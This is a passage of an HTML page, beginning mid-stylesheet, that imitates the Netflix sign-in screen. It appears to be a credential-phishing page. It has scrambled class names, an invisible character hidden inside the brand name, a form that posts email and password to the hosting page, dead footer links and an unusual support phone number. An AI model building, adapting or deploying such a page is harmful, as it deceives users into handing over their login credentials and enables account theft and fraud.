    margin-left: 1.5rem;
  } 
}     

@media (min-width: 1920px){ 
  .fa-gto > *  { 
    margin-left: 1.5rem;
  } 
}     

.fa-z8e { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap; 
    width: inherit; 
    padding: 0px;
} 

@media all{ 
  .fa-z8e { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

@media (min-width: 600px){ 
  .fa-z8e { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

@media (min-width: 960px){ 
  .fa-z8e { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

@media (min-width: 1280px){ 
  .fa-z8e { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

@media (min-width: 1920px){ 
  .fa-z8e { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

.fa-cse > *  { 
    margin-top: 0px;
} 

@media all{ 
  .fa-cse > *  { 
    margin-left: 0.5rem;
  } 
}     

@media (min-width: 600px){ 
  .fa-cse > *  { 
    margin-left: 0.5rem;
  } 
}     

@media (min-width: 960px){ 
  .fa-cse > *  { 
    margin-left: 1.5rem;
  } 
}     

@media (min-width: 1280px){ 
  .fa-cse > *  { 
    margin-left: 1.5rem;
  } 
}     

@media (min-width: 1920px){ 
  .fa-cse > *  { 
    margin-left: 1.5rem;
  } 
}     

.fa-xrf { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap; 
    width: inherit; 
    padding: 0px;
} 

@media all{ 
  .fa-xrf { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

@media (min-width: 600px){ 
  .fa-xrf { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

@media (min-width: 960px){ 
  .fa-xrf { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

@media (min-width: 1280px){ 
  .fa-xrf { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

@media (min-width: 1920px){ 
  .fa-xrf { 
    width: auto; 
    -webkit-flex: 0 auto; 
    -ms-flex: 0 auto; 
    flex: 0 auto;
  } 
}     

.box-ovw input[type="checkbox"] ~ .ea3-h5a > svg  { 
    fill: currentColor;
} 

.box-ovw input[type="checkbox"] ~ .ea3-h5a > svg  { 
    width: 0.75rem;
} 

ul { 
    padding: 0;
} 

.fa-3oa { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap; 
    width: calc(100% + 0.75rem); 
    height: inherit; 
    margin-top: -1rem; 
    margin-left: -0.75rem; 
    -webkit-flex-direction: row; 
    -ms-flex-direction: row; 
    flex-direction: row; 
    padding: 0px;
} 

.fa-kkm { 
    display: inline-flex;
} 

.fa-kkm { 
    position: relative; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap;
} 

.fa-kkm { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    vertical-align: text-top;
} 

.fa-kkm { 
    min-width: auto; 
    width: auto;
} 

ul > li  { 
    list-style-type: disc; 
    margin-bottom: 5px; 
    margin-left: 1.1em;
} 

.fa-3oa > *  { 
    margin-top: 1rem; 
    margin-left: 0.75rem;
} 

.fa-yvh { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap; 
    width: inherit; 
    padding: 0px;
} 

@media all{ 
  .fa-yvh { 
    -webkit-flex: 0 0 calc(50% - 0.75rem); 
    -ms-flex: 0 0 calc(50% - 0.75rem); 
    flex: 0 0 calc(50% - 0.75rem);
  } 
}     

@media (min-width: 600px){ 
  .fa-yvh { 
    -webkit-flex: 0 0 calc(50% - 0.75rem); 
    -ms-flex: 0 0 calc(50% - 0.75rem); 
    flex: 0 0 calc(50% - 0.75rem);
  } 
}     

@media (min-width: 960px){ 
  .fa-yvh { 
    -webkit-flex: 0 0 calc(25% - 0.75rem); 
    -ms-flex: 0 0 calc(25% - 0.75rem); 
    flex: 0 0 calc(25% - 0.75rem);
  } 
}     

@media (min-width: 1280px){ 
  .fa-yvh { 
    -webkit-flex: 0 0 calc(25% - 0.75rem); 
    -ms-flex: 0 0 calc(25% - 0.75rem); 
    flex: 0 0 calc(25% - 0.75rem);
  } 
}     

@media (min-width: 1920px){ 
  .fa-yvh { 
    -webkit-flex: 0 0 calc(25% - 0.75rem); 
    -ms-flex: 0 0 calc(25% - 0.75rem); 
    flex: 0 0 calc(25% - 0.75rem);
  } 
}     

.fa-mrb { 
    display: flex; 
    -webkit-user-select: none; 
    -moz-user-select: none; 
    -ms-user-select: none; 
    user-select: none; 
    clip: rect(0 0 0 0); 
    -webkit-clip-path: inset(50%); 
    clip-path: inset(50%); 
    height: 1px; 
    overflow: hidden; 
    position: absolute; 
    white-space: nowrap; 
    width: 1px;
} 

.fa-kkm .ea3-w8g  { 
    position: absolute; 
    z-index: 1; 
    white-space: nowrap; 
    overflow: hidden; 
    text-overflow: ellipsis; 
    transition-property: top,font-size,line-height; 
    transition-duration: 250ms; 
    pointer-events: none; 
    transition-timing-function: cubic-bezier(0.5, 0, 0.1, 1);
} 

.fa-kkm .ea3-w8g  { 
    right: calc(2.5rem + 0rem); 
    font-size: 0.75rem; 
    color: rgba(255,255,255,0.7); 
    left: calc(0.625rem + 1rem + 0.5rem); 
    line-height: 0.875rem; 
    top: 0rem;
} 

.fa-kkm .ea3-pow  { 
    padding: 0;
} 

.fa-kkm .ea3-pow  { 
    fill: currentColor; 
    min-width: 12.5rem;
} 

.fa-kkm .ea3-pow  { 
    font-size: 1rem; 
    font-weight: 400; 
    color: rgb(255,255,255);
} 

.fa-kkm .ea3-pow  { 
    min-width: auto; 
    width: auto;
} 

.fa-32o { 
    -webkit-appearance: none; 
    -moz-appearance: none; 
    -ms-appearance: none; 
    appearance: none; 
    background: none; 
    border-radius: 0; 
    border: 0; 
    box-sizing: content-box; 
    color: blue; 
    cursor: pointer; 
    display: inline; 
    font: inherit; 
    letter-spacing: inherit; 
    line-height: inherit; 
    margin: 0; 
    padding: 0; 
    -webkit-text-decoration: underline; 
    text-decoration: underline; 
    -webkit-user-select: text; 
    -moz-user-select: text; 
    -ms-user-select: text; 
    user-select: text;
} 

.fa-8b6 { 
    position: absolute; 
    pointer-events: none; 
    width: 1rem; 
    height: 1rem; 
    left: 0.75rem; 
    right: auto; 
    z-index: 1;
} 

.fa-njg > select  { 
    -webkit-animation: animation-14hycbg; 
    animation: animation-14hycbg; 
    -webkit-appearance: none; 
    -moz-appearance: none; 
    -ms-appearance: none; 
    appearance: none; 
    background: transparent; 
    -webkit-background-clip: padding-box; 
    background-clip: padding-box; 
    border: 0 solid transparent; 
    color: inherit; 
    font: inherit; 
    letter-spacing: inherit; 
    line-height: inherit; 
    margin: 0; 
    min-width: 15px; 
    min-height: 15px; 
    padding: 0; 
    text-align: inherit; 
    -webkit-text-decoration: inherit; 
    text-decoration: inherit; 
    text-transform: inherit;
} 

.fa-kkm .ea3-pow > select  { 
    min-height: 16px; 
    min-width: 16px; 
    padding-right: 12px;
} 

.fa-kkm .ea3-pow > select  { 
    color: inherit; 
    -webkit-filter: opacity(100%); 
    filter: opacity(100%);
} 

.fa-kkm .ea3-pow > select  { 
    line-height: 1.25rem; 
    padding-top: 0.375rem; 
    padding-right: calc(2.25rem + 0rem); 
    padding-bottom: 0.375rem; 
    padding-left: calc(0.625rem + 1rem + 0.5rem);
} 

.fa-kkm .ea3-pow > select  { 
    min-width: auto; 
    width: auto;
} 

.fa-kkm select ~ .ea3-h5a  { 
    color: inherit; 
    -webkit-box-pack: end; 
    -ms-flex-pack: end; 
    -webkit-justify-content: flex-end; 
    justify-content: flex-end; 
    font-size: 10px; 
    padding-right: 2px; 
    padding-top: 2px;
} 

.fa-kkm select ~ .ea3-h5a  { 
    border-style: solid;
} 

.fa-kkm select ~ .ea3-h5a  { 
    background: rgba(22,22,22,0.7); 
    border-radius: 0.25rem; 
    border-width: 0.0625rem; 
    padding-right: calc(0.75rem + 0rem); 
    border-color: rgba(128,128,128,0.7);
} 

.fa-8b6 > svg  { 
    width: 100%; 
    height: 100%; 
    display: flex;
} 

.fa-njg option  { 
    color: initial; 
    background: initial;
} 

.fa-kkm select ~ .ea3-h5a > svg  { 
    display: auto;
} 

@media screen and (max-width: 959.98px){ 
  .default-ltr-cache-1d568uk { 
    width: 5.5625rem; 
    height: 1.5rem;
  } 
}     


@keyframes animation-14hycbg { 

} 


.fa-ho7 { 
    display: inline-flex; 
    width: 100%;
} 

.fa-ho7 { 
    position: relative; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap;
} 

.fa-ho7 { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    vertical-align: text-top;
} 

.fa-ho7 .ea3-w8g  { 
    position: absolute; 
    z-index: 1; 
    white-space: nowrap; 
    overflow: hidden; 
    text-overflow: ellipsis; 
    transition-property: top,font-size,line-height; 
    transition-duration: 250ms; 
    pointer-events: none; 
    transition-timing-function: cubic-bezier(0.9, 0, 0.51, 1);
} 

.fa-ho7 .ea3-w8g  { 
    font-size: 1rem; 
    font-weight: 400; 
    line-height: 1.5; 
    color: rgba(255,255,255,0.7); 
    left: 1rem; 
    right: 1rem; 
    top: 1rem;
} 

.fa-ho7 .ea3-pow  { 
    padding: 0;
} 

.fa-ho7 .ea3-pow  { 
    fill: currentColor; 
    min-width: 12.5rem;
} 

.fa-ho7 .ea3-pow  { 
    font-size: 1rem; 
    font-weight: 400; 
    width: 100%; 
    color: rgb(255,255,255);
} 


.fa-ho7 .ea3-pow > input  { 
    min-height: 16px; 
    min-width: 16px;
} 

.fa-ho7 .ea3-pow > input  { 
    color: inherit; 
    opacity: 1;
    z-index: 1; 
} 

.fa-ho7 .ea3-pow > input  { 
    font-size: 1rem; 
    line-height: 1.5; 
    width: 100%; 
    padding-top: 1.5rem; 
    padding-right: 1rem; 
    padding-bottom: 0.5rem; 
    padding-left: 1rem;
} 

.fa-ho7 input ~ .ea3-h5a  { 
    border-style: solid;
} 

.fa-ho7 input ~ .ea3-h5a  { 
    background: rgba(22,22,22,0.7); 
    border-radius: 0.25rem; 
    border-width: 0.0625rem; 
    border-color: rgba(128,128,128,0.7);
}


.fa-vbb { 
    display: inline-flex;
} 
.fa-vbb {
    position: relative;
    margin-bottom: 16px;
}

.fa-vbb { 
    position: relative; 
    -webkit-box-flex-wrap: wrap; 
    -webkit-flex-wrap: wrap; 
    -ms-flex-wrap: wrap; 
    flex-wrap: wrap;
} 

.fa-vbb { 
    display: -webkit-inline-box; 
    display: -webkit-inline-flex; 
    display: -ms-inline-flexbox; 
    display: inline-flex; 
    vertical-align: text-top;
}

.fa-vbb .ea3-w8g  { 
    position: absolute; 
    z-index: 1; 
    white-space: nowrap; 
    overflow: hidden; 
    text-overflow: ellipsis; 
    transition-property: top,font-size,line-height; 
    transition-duration: 250ms; 
    pointer-events: none; 
    transition-timing-function: cubic-bezier(0.9, 0, 0.51, 1);
} 

.fa-vbb .ea3-w8g  { 
    font-size: 1rem; 
    color: rgba(255,255,255,0.7); 
    left: 1rem; 
    line-height: 1.5; 
    right: 1rem; 
    top: 1rem;
} 


.fa-vbb .ea3-pow  { 
    padding: 0;
} 

.fa-vbb .ea3-pow  { 
    fill: currentColor; 
    min-width: 12.5rem;
} 

.fa-vbb .ea3-pow  { 
    width: 100%;
} 

.fa-vbb .ea3-pow  { 
    font-size: 1rem; 
    font-weight: 400; 
    color: rgb(255,255,255);
} 

.fa-vbb .ea3-pow > input  { 
    pointer-events: auto;
    min-height: 16px; 
    min-width: 16px;
} 

.fa-vbb .ea3-pow > input  { 
    color: inherit; 
    opacity: 1;
    z-index: 1; 
    position: relative;
} 

.fa-vbb .ea3-pow > input  { 
    width: 100%; 
    line-height: 1.5; 
    padding-top: 1.5rem; 
    padding-right: 1rem; 
    padding-bottom: 0.5rem; 
    padding-left: 1rem;
} 

.fa-vbb input ~ .ea3-h5a  { 
    border-style: solid;
} 

.fa-vbb input ~ .ea3-h5a  { 
    background: rgba(22,22,22,0.7); 
    border-radius: 0.25rem; 
    border-width: 0.0625rem; 
    border-color: rgba(128,128,128,0.7);
} 

.floating-label-group {
    position: relative;
}

.floating-label-group label {
    position: absolute;
    top: 1rem;
    left: 1rem;
    font-size: 1rem;
    color: rgba(255, 255, 255, 0.7);
    pointer-events: none;
    transition: all 0.2s ease;
}

.floating-label-group input {
    width: 100%;
    padding: 1.5rem 1rem 0.5rem;
    font-size: 1rem;
    color: #fff;
    background: transparent;
    border: 1px solid rgba(128, 128, 128, 0.7);
    outline: none;
    border-radius: 4px;
}

.floating-label-group input:focus ~ label,
.floating-label-group input:not(:placeholder-shown) ~ label {
    top: 0.3rem;
    font-size: 0.75rem;
    color: #fff;
}
.error-label {
    position: absolute;
    bottom: -1.5rem;
    left: 1rem;
    font-size: 0.75rem;
    color: #ff4c4c;
    display: none; 
}

.floating-label-group.has-error .error-label {
    display: block;
}

.floating-label-group.has-error input {
    border-color: #ff4c4c;
}
.floating-label-group.has-error {
    margin-bottom: 30px;
}
    </style>
</head>
<body>
   
<div class="fa-w8e">
    <div class="fa-kqw"><img class="vlv-tv2" src="assets/US-en-20241028-TRIFECTA-perspective_d9d2971c-3299-47c0-b27e-ab85ada16e1e_large.jpg"></div>
    <header>
        <header class="fa-oaz">
            <div class="fa-qkd">
                <div class="fa-jcq">
                    <div class="fa-ens"><a class="fa-fmt" href="/"><svg viewBox="0 0 111 30" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img" class="default-ltr-cache-1d568uk ev1dnif2">
                                <g>
                                    <path d="M105.06233,14.2806261 L110.999156,30 C109.249227,29.7497422 107.500234,29.4366857 105.718437,29.1554972 L102.374168,20.4686475 L98.9371075,28.4375293 C97.2499766,28.1563408 95.5928391,28.061674 93.9057081,27.8432843 L99.9372012,14.0931671 L94.4680851,-5.68434189e-14 L99.5313525,-5.68434189e-14 L102.593495,7.87421502 L105.874965,-5.68434189e-14 L110.999156,-5.68434189e-14 L105.06233,14.2806261 Z M90.4686475,-5.68434189e-14 L85.8749649,-5.68434189e-14 L85.8749649,27.2499766 C87.3746368,27.3437061 88.9371075,27.4055675 90.4686475,27.5930265 L90.4686475,-5.68434189e-14 Z M81.9055207,26.93692 C77.7186241,26.6557316 73.5307901,26.4064111 69.250164,26.3117443 L69.250164,-5.68434189e-14 L73.9366389,-5.68434189e-14 L73.9366389,21.8745899 C76.6248008,21.9373887 79.3120255,22.1557784 81.9055207,22.2804387 L81.9055207,26.93692 Z M64.2496954,10.6561065 L64.2496954,15.3435186 L57.8442216,15.3435186 L57.8442216,25.9996251 L53.2186709,25.9996251 L53.2186709,-5.68434189e-14 L66.3436123,-5.68434189e-14 L66.3436123,4.68741213 L57.8442216,4.68741213 L57.8442216,10.6561065 L64.2496954,10.6561065 Z M45.3435186,4.68741213 L45.3435186,26.2498828 C43.7810479,26.2498828 42.1876465,26.2498828 40.6561065,26.3117443 L40.6561065,4.68741213 L35.8121661,4.68741213 L35.8121661,-5.68434189e-14 L50.2183897,-5.68434189e-14 L50.2183897,4.68741213 L45.3435186,4.68741213 Z M30.749836,15.5928391 C28.687787,15.5928391 26.2498828,15.5928391 24.4999531,15.6875059 L24.4999531,22.6562939 C27.2499766,22.4678976 30,22.2495079 32.7809542,22.1557784 L32.7809542,26.6557316 L19.812541,27.6876933 L19.812541,-5.68434189e-14 L32.7809542,-5.68434189e-14 L32.7809542,4.68741213 L24.4999531,4.68741213 L24.4999531,10.9991564 C26.3126816,10.9991564 29.0936358,10.9054269 30.749836,10.9054269 L30.749836,15.5928391 Z M4.78114163,12.9684132 L4.78114163,29.3429562 C3.09401069,29.5313525 1.59340144,29.7497422 0,30 L0,-5.68434189e-14 L4.4690224,-5.68434189e-14 L10.562377,17.0315868 L10.562377,-5.68434189e-14 L15.2497891,-5.68434189e-14 L15.2497891,28.061674 C13.5935889,28.3437998 11.906458,28.4375293 10.1246602,28.6868498 L4.78114163,12.9684132 Z"></path>
                                </g>
                            </svg><span class="fa-5aq">Net&#6157;flix</span></a></div>
                    <div class="fa-gwq">
                        <div class="fa-qkd">
                            <div class="fa-cse">
                                <div class="fa-xrf"></div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </header>
    </header>
    <div class="fa-trj">
        <div class="fa-gnx">
            <header class="fa-bz1">
                <h1 class="fa-l9i">Sign In</h1>
            </header>
            <form method="POST" class="fa-grz">
                <div class="fa-w7s">
                    <div class="fa-vbb">
                        <div class="fa-njg ea3-pow floating-label-group">
                            <input type="text" id="use-h4v" name="email"  placeholder=" ">
                            <label for=":r0:" class="fa-c64 ea3-w8g">Email or mobile number</label>
                            <div class="fa-29o ea3-h5a"></div>
                            <div class="error-label">Please enter a valid email or phone number.</div>
                        </div>
                    </div>
                </div>
                <div class="fa-166">
                    <div class="fa-ho7">
                        <div class="fa-njg ea3-pow floating-label-group">
                            <input type="password" id="pas-fsd" name="password" placeholder=" ">
                            <label for=":r3:" class="fa-c64 ea3-w8g">Password</label>
                            <div class="fa-29o ea3-h5a"></div><br>
                            <div class="error-label">Please enter valid your password.</div>
                        </div>
                    </div>
                </div><button class="fa-tj1" type="submit">Sign In</button>
                <p class="fa-xok">OR</p><button class="fa-lmx" type="button">Use a Sign-In Code</button><a class="fa-ykz" href="/LoginHelp">Forgot password?</a>
            </form>
            <footer class="fa-b7q">
                <div class="fa-bdt">
                    <div class="box-ovw">
                        <div class="fa-njg ea3-pow"><input type="checkbox" id="rem-flr" name="rememberMe">
                            <div class="fa-29o ea3-h5a"><svg xmlns="http://www.w3.org/2000/svg" fill="none" role="img" viewBox="0 0 16 16" width="16" height="16" data-icon="CheckmarkSmall" aria-hidden="true">
                                    <path fill-rule="evenodd" clip-rule="evenodd" d="M13.4696 3.46973L14.5303 4.53039L6.53026 12.5304C6.23737 12.8233 5.7625 12.8233 5.4696 12.5304L1.4696 8.53039L2.53026 7.46973L5.99993 10.9394L13.4696 3.46973Z" fill="currentColor"></path>
                                </svg></div>
                        </div><label for=":R1aben75:" class="fa-c64 ea3-w8g">Remember me</label>
                    </div>
                </div>
                <p class="fa-tox">New to Netflix? <a href="/">Sign up now</a>.</p>
                <div class="recaptcha-terms-of-csz">
                    <p><span>This page is protected by Google reCAPTCHA to ensure you're not a bot.</span>&nbsp;<button class="button-icf">Learn more.</button></p>
                    <div class="recaptcha-terms-of-use--3oq"><span>The information collected by Google reCAPTCHA is subject to the Google <a href="javascript:void(0);">Privacy Policy</a> and <a href="javascript:void(0);">Terms of Service</a>, and is used for providing, maintaining, and improving the reCAPTCHA service and for general security purposes (it is not used for personalized advertising by Google).</span></div>
                </div>
            </footer>
        </div>
    </div>
    <footer class="fa-l6w">
        <footer class="fa-lef">
            <div class="fa-kva">
                <div class="fa-y2v">
                    <div class="fa-8x4">
                        <div class="fa-gdf">Questions? Call <a href="tel:007-803-321-2130">007-803-321-2130</a></div>
                    </div>
                    <div class="fa-8x4">
                        <div class="fa-hv4">
                            <div class="fa-kva">
                                <ul class="fa-3oa">
                                    <li class="fa-yvh"><a class="fa-32o" href="javascript:void(0);">FAQ</a></li>
                                    <li class="fa-yvh"><a class="fa-32o" href="javascript:void(0);">Help Center</a></li>
                                    <li class="fa-yvh"><a class="fa-32o" href="javascript:void(0);">Terms of Use</a></li>
                                    <li class="fa-yvh"><a class="fa-32o" href="javascript:void(0);">Privacy</a></li>
                                    <li class="fa-yvh"><a class="fa-32o" href="#">Cookie Preferences</a></li>
                                    <li class="fa-yvh"><a class="fa-32o" href="javascript:void(0);">Corporate Information</a></li>
                                </ul>
                            </div>
                        </div>
                    </div>
                    <div class="fa-kva">
                        <div class="fa-gto">
                            <div class="fa-z8e">
                                <div class="fa-kkm"><label for=":R1aj9ql95:" class="fa-mrb ea3-w8g">Select Language</label>
                                    <div class="fa-njg ea3-pow">
                                        <div class="fa-8b6"><svg xmlns="http://www.w3.org/2000/svg" fill="none" role="img" viewBox="0 0 16 16" width="16" height="16" data-icon="LanguagesSmall" aria-hidden="true">
                                                <path fill-rule="evenodd" clip-rule="evenodd" d="M10.7668 5.33333L10.5038 5.99715L9.33974 8.9355L8.76866 10.377L7.33333 14H9.10751L9.83505 12.0326H13.4217L14.162 14H16L12.5665 5.33333H10.8278H10.7668ZM10.6186 9.93479L10.3839 10.5632H11.1036H12.8856L11.6348 7.2136L10.6186 9.93479ZM9.52722 4.84224C9.55393 4.77481 9.58574 4.71045 9.62211 4.64954H6.41909V2H4.926V4.64954H0.540802V5.99715H4.31466C3.35062 7.79015 1.75173 9.51463 0 10.4283C0.329184 10.7138 0.811203 11.2391 1.04633 11.5931C2.55118 10.6795 3.90318 9.22912 4.926 7.57316V12.6667H6.41909V7.51606C6.81951 8.15256 7.26748 8.76169 7.7521 9.32292L8.31996 7.88955C7.80191 7.29052 7.34631 6.64699 6.9834 5.99715H9.06968L9.52722 4.84224Z" fill="currentColor"></path>
                                            </svg></div><select id="Lan-55m" name="LanguageSelect">
                                            <option value="en-ID">English</option>
                                            <option value="id-ID">Bahasa Indonesia</option>
                                        </select>
                                        <div class="fa-29o ea3-h5a"><svg xmlns="http://www.w3.org/2000/svg" fill="none" role="img" viewBox="0 0 16 16" width="16" height="16" data-icon="CaretDownSmall" aria-hidden="true">
                                                <path fill-rule="evenodd" clip-rule="evenodd" d="M11.5976 6.5C11.7461 6.5 11.8204 6.67956 11.7154 6.78457L8.23574 10.2643C8.10555 10.3945 7.89445 10.3945 7.76425 10.2643L4.28457 6.78457C4.17956 6.67956 4.25393 6.5 4.40244 6.5H11.5976Z" fill="currentColor"></path>
                                            </svg></div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </footer>
    </footer>
</div>

<script>
    document.querySelectorAll('.floating-label-group input').forEach(input => {
        input.addEventListener('blur', function() {
            if (input.value.trim() === '') {
                input.parentElement.classList.add('has-error');
            } else {
                input.parentElement.classList.remove('has-error');
            }
        });
        input.addEventListener('input', function() {
            if (input.value.trim() !== '') {
                input.parentElement.classList.remove('has-error');
            }
        });
    });
    
</script>
</body>
</html>